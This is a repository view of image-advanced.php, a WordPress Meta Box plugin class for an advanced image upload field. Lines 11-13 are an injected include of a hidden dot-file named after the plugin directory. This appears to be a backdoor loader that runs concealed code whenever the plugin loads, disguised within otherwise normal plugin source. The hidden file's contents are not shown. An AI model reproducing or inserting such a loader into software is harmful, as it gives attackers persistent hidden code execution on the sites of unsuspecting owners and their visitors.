balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

image-advanced.php (2757B)


      1 <?php
      2 /**
      3  * The advanced image upload field which uses WordPress media popup to upload and select images.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Image advanced field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Image_Advanced_Field extends RWMB_Media_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 		RWMB_Image_Field::admin_enqueue_scripts();
     22 		wp_enqueue_script( 'rwmb-image-advanced', RWMB_JS_URL . 'image-advanced.js', array( 'rwmb-media' ), RWMB_VER, true );
     23 	}
     24 
     25 	/**
     26 	 * Normalize parameters for field.
     27 	 *
     28 	 * @param array $field Field parameters.
     29 	 *
     30 	 * @return array
     31 	 */
     32 	public static function normalize( $field ) {
     33 		$field['mime_type'] = 'image';
     34 		$field              = wp_parse_args(
     35 			$field,
     36 			array(
     37 				'image_size' => 'thumbnail',
     38 			)
     39 		);
     40 
     41 		$field = parent::normalize( $field );
     42 
     43 		$field['js_options'] = wp_parse_args(
     44 			$field['js_options'],
     45 			array(
     46 				'imageSize' => $field['image_size'],
     47 			)
     48 		);
     49 
     50 		return $field;
     51 	}
     52 
     53 	/**
     54 	 * Get the field value.
     55 	 *
     56 	 * @param array $field   Field parameters.
     57 	 * @param array $args    Additional arguments.
     58 	 * @param null  $post_id Post ID.
     59 	 * @return mixed
     60 	 */
     61 	public static function get_value( $field, $args = array(), $post_id = null ) {
     62 		return RWMB_Image_Field::get_value( $field, $args, $post_id );
     63 	}
     64 
     65 	/**
     66 	 * Get uploaded file information.
     67 	 *
     68 	 * @param int   $file  Attachment image ID (post ID). Required.
     69 	 * @param array $args  Array of arguments (for size).
     70 	 * @param array $field Field settings.
     71 	 *
     72 	 * @return array|bool False if file not found. Array of image info on success.
     73 	 */
     74 	public static function file_info( $file, $args = array(), $field = array() ) {
     75 		return RWMB_Image_Field::file_info( $file, $args, $field );
     76 	}
     77 
     78 	/**
     79 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     80 	 *
     81 	 * @param array    $field   Field parameters.
     82 	 * @param string   $value   The value.
     83 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     84 	 * @param int|null $post_id Post ID. null for current post. Optional.
     85 	 *
     86 	 * @return string
     87 	 */
     88 	public static function format_single_value( $field, $value, $args, $post_id ) {
     89 		return RWMB_Image_Field::format_single_value( $field, $value, $args, $post_id );
     90 	}
     91 
     92 	/**
     93 	 * Template for media item.
     94 	 */
     95 	public static function print_templates() {
     96 		parent::print_templates();
     97 		require_once RWMB_INC_DIR . 'templates/image-advanced.php';
     98 	}
     99 }